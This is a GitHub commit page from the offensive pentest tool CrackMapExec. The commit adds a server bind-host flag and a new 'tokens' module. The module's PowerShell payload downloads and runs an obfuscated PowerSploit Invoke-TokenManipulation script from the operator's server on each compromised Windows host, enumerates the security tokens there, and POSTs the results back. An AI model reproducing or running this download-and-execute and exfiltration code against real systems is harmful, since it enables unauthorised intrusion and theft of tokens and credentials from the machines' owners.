Skip to content
This repository was archived by the owner on Dec 6, 2023. It is now read-only.

Commit 7bfe042

Browse files
author
byt3bl33d3r
committed
Added a tokens module to enumerate available tokens
Added a --server-host flag to specify the IP to bind the server to
1 parent 9262832 commit 7bfe042

File tree

4 files changed

+73
-4
lines changed

4 files changed

+73
-4
lines changed

core/cmeserver.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -36,12 +36,12 @@ def stop_tracking_host(self):
3636

3737
class CMEServer(threading.Thread):
3838

39-
def __init__(self, module, context, port, server_type='https'):
39+
def __init__(self, module, context, srv_host, port, server_type='https'):
4040

4141
try:
4242
threading.Thread.__init__(self)
4343

44-
self.server = BaseHTTPServer.HTTPServer(('0.0.0.0', int(port)), RequestHandler)
44+
self.server = BaseHTTPServer.HTTPServer((srv_host, int(port)), RequestHandler)
4545
self.server.hosts = []
4646
self.server.module = module
4747
self.server.context = context

core/remotefile.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@ def __init__(self, smbConnection, fileName, share='ADMIN$', access = FILE_READ_D
1111
self.__currentOffset = 0
1212

1313
def open(self):
14-
self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess = self.__access)
14+
self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess= self.__access)
1515

1616
def seek(self, offset, whence):
1717
# Implement whence, for now it's always from the beginning of the file

crackmapexec.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -71,6 +71,7 @@
7171
parser.add_argument("--smb-port", dest='smb_port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
7272
parser.add_argument("--mssql-port", dest='mssql_port', default=1433, type=int, metavar='PORT', help='MSSQL port (default: 1433)')
7373
parser.add_argument("--server", choices={'http', 'https'}, default='https', help='Use the selected server (default: https)')
74+
parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)')
7475
parser.add_argument("--server-port", dest='server_port', metavar='PORT', type=int, help='Start the server on the specified port')
7576
parser.add_argument("--local-auth", dest='local_auth', action='store_true', help='Authenticate locally to each target')
7677
parser.add_argument("--timeout", default=20, type=int, help='Max timeout in seconds of each thread (default: 20)')
@@ -215,7 +216,7 @@
215216
module.options(context, module_options)
216217

217218
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
218-
server = CMEServer(module, context, args.server_port, args.server)
219+
server = CMEServer(module, context, args.server_host, args.server_port, args.server)
219220
server.start()
220221

221222
for target in args.target:

modules/credentials/tokens.py

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
from core.helpers import create_ps_command, obfs_ps_script, gen_random_string
2+
from StringIO import StringIO
3+
4+
class CMEModule:
5+
'''
6+
Enumerates available tokens using Powersploit's Invoke-TokenManipulation
7+
Module by @byt3bl33d3r
8+
'''
9+
10+
name = 'Tokens'
11+
12+
def options(self, context, module_options):
13+
'''
14+
'''
15+
16+
self.obfs_name = gen_random_string()
17+
18+
def on_admin_login(self, context, connection):
19+
20+
payload = '''
21+
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1');
22+
$creds = Invoke-{func_name} -Enumerate | Select-Object Domain, Username, ProcessId, IsElevated | Out-String;
23+
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
24+
$request.Method = 'POST';
25+
$request.ContentType = 'application/x-www-form-urlencoded';
26+
$bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);
27+
$request.ContentLength = $bytes.Length;
28+
$requestStream = $request.GetRequestStream();
29+
$requestStream.Write( $bytes, 0, $bytes.Length );
30+
$requestStream.Close();
31+
$request.GetResponse();'''.format(server=context.server,
32+
port=context.server_port,
33+
addr=context.localip,
34+
func_name=self.obfs_name)
35+
36+
context.log.debug('Payload: {}'.format(payload))
37+
payload = create_ps_command(payload)
38+
print connection.execute(payload, get_output=True)
39+
context.log.success('Executed payload')
40+
41+
def on_request(self, context, request):
42+
if 'Invoke-TokenManipulation.ps1' == request.path[1:]:
43+
request.send_response(200)
44+
request.end_headers()
45+
46+
with open('data/PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1', 'r') as ps_script:
47+
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
48+
request.wfile.write(ps_script)
49+
50+
else:
51+
request.send_response(404)
52+
request.end_headers()
53+
54+
def on_response(self, context, response):
55+
response.send_response(200)
56+
response.end_headers()
57+
length = int(response.headers.getheader('content-length'))
58+
data = response.rfile.read(length)
59+
60+
#We've received the response, stop tracking this host
61+
response.stop_tracking_host()
62+
63+
if len(data) > 0:
64+
context.log.success('Enumerated available tokens')
65+
66+
buf = StringIO(data).read()
67+
for line in buf:
68+
context.log.highlight(line)

0 commit comments

Comments
 (0)